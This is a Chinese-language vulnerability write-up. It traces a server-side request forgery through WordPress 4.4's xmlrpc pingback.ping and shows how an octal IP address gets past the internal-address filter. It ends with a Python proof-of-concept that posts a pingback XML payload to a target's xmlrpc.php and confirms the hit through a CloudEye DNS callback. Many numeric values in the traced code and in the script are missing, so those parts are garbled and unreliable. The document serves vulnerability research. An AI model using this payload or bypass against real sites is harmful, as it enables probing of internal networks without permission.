通過這個漏洞熟悉一下WP的代碼。
資料跟蹤
[xmlrpc.php]
擷取POST的資料
$HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );
建立xmlrpc_server,使用
serve_request()
方法處理輸入。
$wp_xmlrpc_server_class = apply_filters( 'wp_xmlrpc_server_class', 'wp_xmlrpc_server' );
$wp_xmlrpc_server = new $wp_xmlrpc_server_class;
// Fire off the request
$wp_xmlrpc_server->serve_request();
[wp-includes/class-wp-xmlrpc-server.php]
public function serve_request()
line 194
$this->IXR_Server($this->methods);
[wp-includes/class-IXR.php]
public function IXR_Server()
line 432
[wp-includes/class-IXR.php]
function serve($data = false)
line 470
$result = $this->call($this->message->methodName, $this->message->params);
[wp-includes/class-IXR.php]
function call($methodname, $args)
line 520:
$result = $this->method($args)
//method:"pingback_ping"
//args:{"http://139.129.132.156:8080/","http://localhost/wordpress/?p=1"}
[wp-includes/class-wp-xmlrpc-server.php]
public function pingback_ping($args)
line 6181
$pagelinkedfrom = apply_filters( 'pingback_ping_source_uri', $pagelinkedfrom, $pagelinkedto );
//$pagelinkedfrom:"http://139.129.132.156:8080/"
//$pagelinkedto:"http://localhost/wordpress/?p=1"
[wp-includes/plugin.php]
function apply_filters( $tag, $value )
line 235
$value = call_user_func_array($the_['function'], array_slice($args, , (int) $the_['accepted_args']));
//$args:{"pingback_ping_source_uri","http://139.129.132.156:8080/","http://localhost/wordpress/?p=1"}
//$the_['function']="pingback_ping_source_uri"
//$the_['accepted_args']=
[wp-includes/comment.php]
function pingback_ping_source_uri( $source_uri )
line 2435
return (string) wp_http_validate_url( $source_uri );
//$source_uri:"http://139.129.132.156:8080/"
[wp-includes/http.php]
function wp_http_validate_url( $url )
line 528
$host = trim( $parsed_url['host'], '.' ); // $host="139.129.132.156"
if ( preg_match( '#^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$#', $host ) ) {
$ip = $host;
} else {
$ip = gethostbyname( $host );
if ( $ip === $host ) // Error condition for gethostbyname()
$ip = false;
}
if ( $ip ) {
$parts = array_map( 'intval', explode( '.', $ip ) );
if ( === $parts[] || === $parts[] || === $parts[]
|| ( === $parts[] && <= $parts[] && >= $parts[] )
|| ( === $parts[] && === $parts[] )
) {
// If host appears local, reject unless specifically allowed.
/**
* Check if HTTP request is external or not.
*
* Allows to change and allow external requests for the HTTP request.
*
* @since .
*
* @param bool false Whether HTTP request is external or not.
* @param string $host IP of the requested host.
* @param string $url URL of the requested host.
*/
if ( ! apply_filters( 'http_request_host_is_external', false, $host, $url ) )
return false;
}
}
代碼中對首先判斷輸入是否為IP,然後對本地的IP位址進行過濾(127,10,192)。
由于URL接受8進制,即輸入為
http://010.10.43.2
時,會滿足第一次正則校檢,同時可以繞過第二次的過濾,造成内網10位址段的SSRF。
經過檢查之後的資料回到pingback_ping:
[wp-includes/class-wp-xmlrpc-server.php]
public function pingback_ping($args)
line 6262
$request = wp_safe_remote_get( $pagelinkedfrom, $http_api_args );
//$pagelinkedfrom="8080"
[wp-includes/http.php]
function pings_open( $post_id = null )
function wp_safe_remote_get( $url, $args = array() ) {
$args['reject_unsafe_urls'] = true;
$http = _wp_http_get_object();
return $http->get( $url, $args );
}
[wp-includes/class-http.php]
public function get($url, $args = array())
line 430
return $this->request($url, $r);
[wp-includes/class-http.php]
public function request( $url, $args = array() )
line 277
$response = $this->_dispatch_request( $url, $r );
[wp-includes/class-http.php]
private function _dispatch_request( $url, $args )
line 367
$response = $transports[$class]->request( $url, $args );
[wp-includes/class-wp-http-curl.php]
public function request($url, $args = array())
line 239
curl_exec( $handle );
到此發包動作結束,公網主機接受到資料:
随後處理回顯,無論成功與否都會傳回:
修複與PoC
通過xmlrpc對外網的SSRF目前
WP 5.X-latest
仍然可用。
但通路内網的漏洞在5.x版本已補,官方修複方式為更改了判定IP的正則,使
http://010.xxxx
這種IP無法通過。
由于沒有回顯,隻能使用CloudEye的DNS日志和Apache日志确認目标。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# author = [email protected]
# project = https://github.com/Xyntax/POC-T
"""
WordPress 4.4 Server Side Request Forgery (SSRF)
Version
WordPress <= 4.4.2
"""
import requests
from plugin.cloudeye import CloudEye
req_timeout =
def poc(url):
if '://' not in url:
url = 'http://' + url
targeturl = url.rstrip('/') + "/xmlrpc.php"
c = CloudEye()
dst = c.getRandomDomain('wpssrf')
# 第一個位址段為SSRF的目标位址,格式為(http[s]://IP|DOAMIN)[:(80|8080|443)]。
# 隻能這三個端口,外網位址全通,内網位址被過濾,可用8進制突破10開頭的位址段。
# 第二個位址段需要該站實際存在的文章位址,用?p=1自動适配。
payload = """
<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://{target}/</string></value></param>
<param><value><string>{victim}?p=1</string></value></param>
</params>
</methodCall>""".format(target=dst, victim=url.rstrip('/') + '/')
header = {'User-Agent': 'Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0',
'Content-Type': 'text/xml'}
try:
# 無法從回顯判斷
requests.post(targeturl, data=payload, headers=header, timeout=req_timeout)
if c.verifyDNS(delay=):
return True
except Exception, e:
pass
return False